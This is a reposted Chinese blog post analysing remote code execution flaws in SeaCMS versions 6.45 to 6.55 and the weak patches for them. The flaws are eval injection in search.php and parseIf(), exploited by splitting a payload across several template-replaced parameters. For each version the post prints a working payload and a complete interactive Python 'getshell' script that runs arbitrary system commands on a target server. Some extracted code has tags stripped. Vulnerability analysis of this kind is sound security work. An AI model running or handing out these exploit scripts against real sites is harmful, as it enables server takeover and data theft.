首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

seacms修复历程总结

快,关注这个公众号,一起涨姿势~

本文译者:bush

感谢bush来稿,本文稿费20元。持续小广告:各位大佬有安全方面新的创作都可以向小编砸过来,将文章以Word形式发送至邮箱minwei.wang@dbappsecurity.com.cn

seacms修复历程总结

从6.45版本开始search.php就存在前台getshell的漏洞,到6.54官方对其进行修补,但修复方法是对用户输入的参数进行过滤并限制长度为20个字符,这种修复方法仍然可以通过反复替换模板达到组合绕过补丁。下面来细致分析一下海洋cms爆出的漏洞以及修复历程,并附上自己写的脚本,如有不对欢迎指正。

海洋CMS V6.45

1.search.php

function echoSearchPage(){

global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;

$order = !empty($order)?$order:time;

....

$content = str_replace("",$page,$content);

$content = str_replace("",$searchword,$content);

$content = str_replace("",$TotalResult,$content);

$content = str_replace("",$order,$content);

....

if(intval($searchtype)==5)

{

....

$content=replaceCurrentTypeId($content,-444);

$content=$mainClassObj->parseIf($content);

$content=str_replace("",front_member(),$content);

$searchPageStr = $content;

echo str_replace("",getRunTime($t1),$searchPageStr) ;}

search.php中用到了大量的str_place()函数来替换原始模板,但是有一个问题,$order由于没有对其进行过滤是可以进行变量覆盖的,先丢在一边我们看当$searchtype==5时调用了parseIf()函数跟进来看。

2.main.class.php

function parseIf($content){

if (strpos($content,'else{

$labelRule = buildregx("(.*?)","is");

$labelRule2="";

preg_match_all($labelRule,$content,$iar);

$arlen=count($iar[0]);

$elseIfFlag=false;

for($m=0;$m

$strIf=$iar[1][$m];

$strIf=$this->parseStrIf($strIf);

$strThen=$iar[2][$m];

$strThen=$this->parseSubIf($strThen);

if (strpos($strThen,$labelRule2)===false){

if (strpos($strThen,$labelRule3)>=0){

$elsearray=explode($labelRule3,$strThen);

$strThen1=$elsearray[0];

$strElse1=$elsearray[1];

@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}

}else{

@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");

if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}

发现危险函数@eval("if(".$strIf.") { $ifFlag=true;} else{ $ifFlag=false;}");在语句中,调用了preg_match_all函数将$content中的if语句块匹配出来存于$iar数组,然后将数组中的$strIf取出来拼接到eval语句然后执行eval函数,中间并没有检查非法数据并且我们之前讲到$order是可以覆盖的。

由于$order可控,当我们post:$order=},那么$content中将被替换为}。整个过程为:

Step 1: post数据

searchtype=5&searchword=x&order=}

Step 2:调用str_replace函数替换模板

Step 3:调用parseIf函数解析模板中的if语句

Step 4:拼接并执行eval函数

eval("if(1)phpinfo();//{\$ifFlag=true;}else{\$ifFlag=false;}");

附getshell:

!/usr/bin/env python

import sys

import requests

def help():

print "Usage: "

print "python %s [URL]" %(sys.argv[0])

print"Example : "

print "python %s http://example.com/search.php" %(sys.argv[0])

print "Type command 'q' for exit"

def poc():

help()

if not sys.argv[1].endswith("search.php"):

print("[+] Please make sure url end with search.php")

exit()

while 1:

code = raw_input("->")

if code != "q":

postdata = {

"searchtype" : "5",

"searchword" : "x",

"order" : "}",

"1" : "system",

"2": code

}

r = requests.post(url=sys.argv[1],data=postdata)

print r.text[:r.text.find("")/3]

else:

exit()

if name =='main':

try:

poc()

except Exception as e:

help()

海洋CMS V6.54

官方在6.54上做了白名单的限制导致order变量失效,但是这次版本爆出的0day变量不再是依靠order变量,而是通过一系列的模板替换达到我们想要执行的命令。

1.search.php

function echoSearchPage(){

global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;

$order = ($order == "commend" $order == "time" $order == "hit") ? $order : "";

$order = !empty($order)?$order:time;

if(intval($searchtype)==5)

{

可以看到声明为global变量的不止order一个可以进行变量覆盖的也不止一个但我们之前不选用这些变量是因为这些变量都进行了过滤和只选取前20个字符的限制。

$searchword = RemoveXSS(stripslashes($searchword));

$searchword = addslashes(cn_substr($searchword,20));

$searchword = trim($searchword);

$jq = RemoveXSS(stripslashes($jq));

$jq = addslashes(cn_substr($jq,20));

$area = RemoveXSS(stripslashes($area));

$area = addslashes(cn_substr($area,20));

$year = RemoveXSS(stripslashes($year));

$year = addslashes(cn_substr($year,20));

$yuyan = RemoveXSS(stripslashes($yuyan));

$yuyan = addslashes(cn_substr($yuyan,20));

$letter = RemoveXSS(stripslashes($letter));

$letter = addslashes(cn_substr($letter,20));

$state = RemoveXSS(stripslashes($state));

$state = addslashes(cn_substr($state,20));

$ver = RemoveXSS(stripslashes($ver));

$ver = addslashes(cn_substr($ver,20));

$money = RemoveXSS(stripslashes($money));

$money = addslashes(cn_substr($money,20));

$order = RemoveXSS(stripslashes($order));

$order = addslashes(cn_substr($order,20));

而这次爆出的poc也是构造的十分精致,通过多个变量拼接写入命令来getshell。我们来看拼接过程还是echoSearchPage函数中

if(intval($searchtype)==5)

{

$tname = !empty($tid)?getTypeNameOnCache($tid):'全部';

$jq = !empty($jq)?$jq:'全部';

$area = !empty($area)?$area:'全部';

$year = !empty($year)?$year:'全部';

$yuyan = !empty($yuyan)?$yuyan:'全部';

$letter = !empty($letter)?$letter:'全部';

$state = !empty($state)?$state:'全部';

$ver = !empty($ver)?$ver:'全部';

$money = !empty($money)?$money:'全部';

$content = str_replace("",$tid,$content);

$content = str_replace("",$tname ,$content);

$content = str_replace("",$year,$content);

$content = str_replace("",$area,$content);

$content = str_replace("",$letter,$content);

$content = str_replace("",$yuyan,$content);

$content = str_replace("",$jq,$content);

if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}

if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}

$content = str_replace("",$state2,$content);

$content = str_replace("",$money2,$content);

$content = str_replace("",$ver,$content);

$content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");

$content=$mainClassObj->parseSearchItemList($content,"type");

$content=$mainClassObj->parseSearchItemList($content,"year");

$content=$mainClassObj->parseSearchItemList($content,"area");

$content=$mainClassObj->parseSearchItemList($content,"letter");

$content=$mainClassObj->parseSearchItemList($content,"lang");

$content=$mainClassObj->parseSearchItemList($content,"jq");

$content=$mainClassObj->parseSearchItemList($content,"state");

$content=$mainClassObj->parseSearchItemList($content,"ver");

$content=$mainClassObj->parseSearchItemList($content,"money");

}.

先抛出大佬们的poc:

searchtype=5&searchword=&year=:e}&area=v&letter=al&yuyan=(join&jq=($_P&&ver=OST[9]))&9[]=ph&9[]=pinfo();

整个替换流程为:

Step 0:

Step 1:

Step 2:

Step3:

Step4:

Step5:

Step6:

Step7:

最后匹配if条件中的语句得到一句话:

eval(join($_POST[9]))

同样附getshell:

!/usr/bin/env python

import sys

import requests

def help():

print "Usage : "

print " python %s [URL]" % (sys.argv[0])

print "Example : "

print " python %s http://example.com/search.php" % (sys.argv[0])

print "Type command 'q' for exit"

def poc():

help()

if not sys.argv[1].endswith("search.php"):

print("[+] Please make sure url end with search.php")

exit()

while 1:

code = raw_input("-> ")

paylod = 'system("%s");' % code

if code != "q":

postdata = {

"searchtype":"5",

"searchword":"",

"year":":e}",

"area":"v",

"letter":"al",

"yuyan":"(join",

"jq":"($_P",

"ver":"OST[9]))",

"9[]":paylod,

}

r = requests.post(url=sys.argv[1],data=postdata)

print r.text[:r.text.find("")/3]

else:

exit()

if name == 'main':

try:

poc()

except Exception as e:

help()

海洋CMS V6.55

在6.55中官方终于意识到漏洞出现parseIf函数,因而对在该函数中做了黑名单的过滤:

function parseIf($content){

if (strpos($content,'else{

$labelRule = buildregx("(.*?)","is");

$labelRule2="";

preg_match_all($labelRule,$content,$iar);

foreach($iar as $v){

$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);

但是这次的poc利用的是默认不检查SERVER变量的性质来达到写入命令。

poc:

searchtype=5&searchword=&year=as}&area=s&letter=ert&yuyan=($_SE&jq=RVER&ver=[QUERY_STRING]));/*

还是利用目标的多重替换,详细步骤见海洋CMS 6.54。导致最后写入assert($_SERVER[QUERY_STRING]),因为$SERVER变量默认是不检查数据的安全性的,因而当我们把命令加在url后,$_SERVER[QUERY_STRING]便可以获得我们发送的请求也就是这里传递的要执行的命令。(search.php?whami)这样就执行了assert(whoami)。$SERVER变量可以见php用户手册:

附上getshell:

#!/usr/bin/env python

# coding=utf-8

import sys

import requests

def help():

print "Usage : "

print " python %s [URL]" % (sys.argv[0])

print "Example : "

print " python %s http://example.com/search.php" % (sys.argv[0])

print "Type command 'q' for exit"

def poc():

help()

if not sys.argv[1].endswith("search.php"):

print("[+] Please make sure url end with search.php")

exit()

while 1:

code = raw_input("-> ")

purl = sys.argv[1] + "?system(%s)" % code

if code != "q":

postdata = {

"searchtype":"5",

"searchword":"",

"year":":as}",

"area":"s",

"letter":"ert",

"yuyan":"($_SE",

"jq":"RVER",

"ver":"[QUERY_STRING]));/*"

}

r = requests.post(url=purl,data=postdata)

print r.text[:r.text.find("")]

else:

exit()

if __name__ == '__main__':

try:

poc()

except Exception as e:

help()

总结:

从这次海洋cms爆出的漏洞可以看出代码层的逻辑漏洞仍然是web安全人员的病痛,这次构造的poc也是十分精致反复替换模板到最终危险命令的拼接,而从最初官方打上的补丁看来只是暂时解决了order这个危险点而忽视parseIf这个危险函数,官方给的补丁也是够简单粗暴的最新版的6.56感觉不久也会有poc。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20171228G0475O00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券